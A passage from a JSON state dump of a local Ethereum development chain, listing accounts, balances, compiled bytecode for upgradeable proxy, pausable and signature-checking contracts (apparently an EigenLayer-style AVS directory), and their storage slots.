ffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000097":"0x000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","0x0000000000000000000000000000000000000000000000000000000000000098":"0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000000000000000000000000000000000000000000c9":"0x000000000000000000000000000000000000000000000000000000000000000a","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0x90f79bf6eb2c4f870365e785982e1f101e93b906":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x95401dc811bb5740090279ba06cfa8fcf6113778":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","storage":{"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000004826533b4897376654bb4d4ad88b7fafd0c98528","0x3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff":"0x0000000000000000000000000000000000000000000000000000000000000001","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042","0xcfb339bd1c51c488f6134f4ac63d1594afad827b3401c3fc51ed1da74a8ca14e":"0x000000000000000000000000000000000000000000000000000000000000000b"}},"0x959922be3caee4b8cd9a407cc3ac1c251c2007b1":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212204498542bd53fe5969cd2484cb9f25ea6fca9228d748c3cfb4c54b0eae1d8b52e64736f6c634300081b0033","storage":{}},"0x976ea74026e726554db657fa54763abd0c3a0aa9":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x9965507d1a55bcc2695c58ba16fb37d819b0a4dc":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x998abeb3e57409262ae5b751f60747921b33613e":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","storage":{"0x0eb5be412f275a18f6e4d622aee4ff40b21467c926224771b782d4c095d1444b":"0x000000000000000000000000000000000000000000000000000000000000000b","0x17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec":"0x0000000000000000000000000000000000000000000000000000000000000001","0x295841a49a1089f4b560f91cfbb0133326654dcbb1041861fc5dde96c724a22f":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000000e801d84fa97b50751dbf25036d067dcf18858bf","0x3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff":"0x0000000000000000000000000000000000000000000000000000000000000001","0xa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49":"0x0000000000000000000000000000000000000000000000000000000000000001","0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5":"0x0000000000000000000000000000000000000000000000000000000000000001","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042","0xcfb339bd1c51c488f6134f4ac63d1594afad827b3401c3fc51ed1da74a8ca14e":"0x000000000de0b6b3a7640000c5a5c42992decbae36851359345fe25997f5c42d"}},"0x9a676e781a523b5d0c0e43731313a708cb607508":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611